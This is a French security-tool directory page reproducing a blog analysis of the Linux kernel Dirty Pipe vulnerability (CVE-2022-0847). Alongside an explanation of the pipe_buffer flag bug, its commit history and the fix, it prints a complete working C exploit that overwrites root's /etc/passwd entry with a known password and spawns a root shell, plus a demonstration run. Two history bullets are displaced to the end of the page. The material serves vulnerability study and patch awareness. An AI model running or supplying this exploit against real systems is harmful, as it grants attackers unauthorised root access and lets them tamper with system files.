Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-0847-DirtyPipe — Analyse approfondie et exploit de preuve de concept pour CVE-2022-0847 (DirtyPipe), une vulnérabilité du noyau Linux permettant l'écrasement arbitraire de fichiers et l'escalade de privilèges locale via des drapeaux de tampon de tube non initialisés. | Kitploit
Outils/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationExploitation de Binaires
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

Analyse approfondie et exploit de preuve de concept pour CVE-2022-0847 (DirtyPipe), une vulnérabilité du noyau Linux permettant l'écrasement arbitraire de fichiers et l'escalade de privilèges locale via des drapeaux de tampon de tube non initialisés.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 4 ansPas encore vérifié

title: Analyse de la vulnérabilité CVE-2022-0847 (DirtyPipe – élévation de privilèges locale) date: 2022-03-08 14:41:20 tags: - Élévation de privilèges Linux categories: - Recherche en sécurité


Description de la vulnérabilité

CVE-2022-0847 est une vulnérabilité dans le noyau Linux depuis la version 5.8. Un attaquant peut l’exploiter pour écraser arbitrairement les données de tout fichier en lecture seule. Cela permet d’élever des privilèges ordinaires jusqu’à root, car un processus non privilégié peut injecter du code dans un processus root.

CVE-2022-0847 est similaire à CVE-2016-5195 “Dirty Cow” et est facile à exploiter. L’auteur de la vulnérabilité l’a nommée Dirty Pipe.

Avertissement de sécurité

Ce blog est principalement utilisé pour enregistrer des événements de sécurité et des articles sur les vulnérabilités, à des fins d’apprentissage et de test. Toute conséquence ou dommage direct ou indirect résultant de la diffusion ou de l’utilisation des informations ou outils fournis dans cet article est de la seule responsabilité de l’utilisateur. L’auteur de l’article n’assume aucune responsabilité à cet égard.

Périmètre concerné

Niveau de danger : Élevé

POC/EXP : Publié

Versions affectées : Noyau Linux 5.8 et versions ultérieures

Remarque : Versions sécurisées : noyau Linux >= 5.16.11, noyau Linux >= 5.15.25, noyau Linux >= 5.10.102

Analyse de la vulnérabilité

Présentation rapide des détails de la vulnérabilité.

Quelques concepts :

Linux pipe : Semi-duplex, le flux de données ne peut aller que d’un côté à l’autre.

pipe_buffer : Cache du tube, utilisé pour stocker temporairement les données écrites dans le tube. Les lectures et écritures se font via ce cache.

page : Cadre de page, 4 Ko, en relation un-à-un avec le cache du tube.

pipe_buf_operations : Stocke l’ensemble des opérations du cache du tube.

can_merge : Drapeau de fusion. S’il est défini à 1, une lecture/écriture générique du tube peut fusionner les données dans un tampon existant. S’il est à 0, un nouveau segment de page de tube est toujours utilisé pour les nouvelles données.

splice() : Déplace des données entre deux descripteurs de fichier, comme sendfile(). Il prend en charge les tubes et est également une copie zéro. Il lie le cache de page du fichier et le cache du tube, de sorte que l’écriture affecte les deux en même temps. Lors de la vérification des autorisations, il ne vérifie que si le fichier source a une autorisation de lecture ; il n’y a pas de vérification d’autorisation en écriture. La chaîne d’appel approximative est :

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Historique du contrôle de « fusion » dans les tubes Linux :

Analyse rapide du code d’après l’auteur.

  1. Les premiers systèmes Linux correspondaient au concept présenté : un indicateur can_merge existait pour marquer si de nouvelles données pouvaient être écrites dans le cache de tube existant.

  2. Commit 5274f052e7b3 a introduit la fonction splice(), mais la vérification n’a pas changé : elle utilisait toujours l’indicateur can_merge pour déterminer si le cache de tube actuel était disponible.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 a cessé d’utiliser l’indicateur can_merge pour le remplacer par une comparaison du pointeur struct pipe_buf_operations. Seul le type anon_pipe_buf_ops permet l’écriture de nouvelles données ; il suffit donc de vérifier si le type correspond.

    image-20220310133214287

    image-20220310133251831

Ainsi, l’auteur a la méthode d’exploitation suivante :

  1. Créer un tube.
  2. Définir le drapeau PIPE_BUF_FLAG_CAN_MERGE de pipe_buffer.
  3. Vider le tube, puis attacher les données cibles au tube via splice. À ce moment, splice lie le cache du tube et le cache de page.
  4. Écrire arbitrairement des données dans le tube. L’écriture appelle finalement copy_page_from_iter() pour effectuer l’écriture. Grâce au drapeau PIPE_BUF_FLAG_CAN_MERGE, l’écriture est effectuée directement.

Analyse de l’exploit

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

Exploitation

Utilisation d’une machine virtuelle kali comme système de démonstration.

Condition requise pour le système cible : disposer de gcc.

  • Vérifier la version actuelle du noyau
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • Récupérer l’exploit
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • Exécuter
root@kitploit:~
./compile.sh	# compilation avec gcc

./exploit	    # exécution de l’exploit, le message d’erreur suivant s’affiche
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
Mot de passe : aaron 

Après connexion, obtention des privilèges root
  • Restaurer le fichier passwd
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

Correction

D’abord, corriger la définition de l’attribut de fusion

image-20220310160200916

Ensuite, ajouter l’initialisation des indicateurs

image-20220310160536267

image-20220310160703429

Note de l’éditeur

Un grand merci au collègue Psyduck pour avoir consacré un temps précieux à analyser et organiser les principes de l’exploit publié par le divulgateur de la vulnérabilité. Le collègue a également effectué des débogages au niveau basé sur le système local, mais la chaîne d’appel de données n’est pas encore claire ; les recherches se poursuivent.

Références

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

Avertissement de sécurité

Ce blog est principalement utilisé pour enregistrer des événements de sécurité et des articles sur les vulnérabilités, à des fins d’apprentissage et de test. Toute conséquence ou dommage direct ou indirect résultant de la diffusion ou de l’utilisation des informations ou outils fournis dans cet article est de la seule responsabilité de l’utilisateur. L’auteur de l’article n’assume aucune responsabilité à cet égard.

Télécharger l’outil
  • Commit 241699cd72a8 a ajouté deux nouvelles fonctions qui allouent de nouvelles struct pipe_buf_operations mais n’initialisent pas leur indicateur flags.

    image-20220310155046455

  • Commit f6dd975583bd a transformé cette comparaison de pointeurs en une comparaison de l’indicateur PIPE_BUF_FLAG_CAN_MERGE de chaque tampon, permettant d’injecter PIPE_BUF_FLAG_CAN_MERGE, tout en supprimant la définition et l’utilisation d’autres types de buf_ops.

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972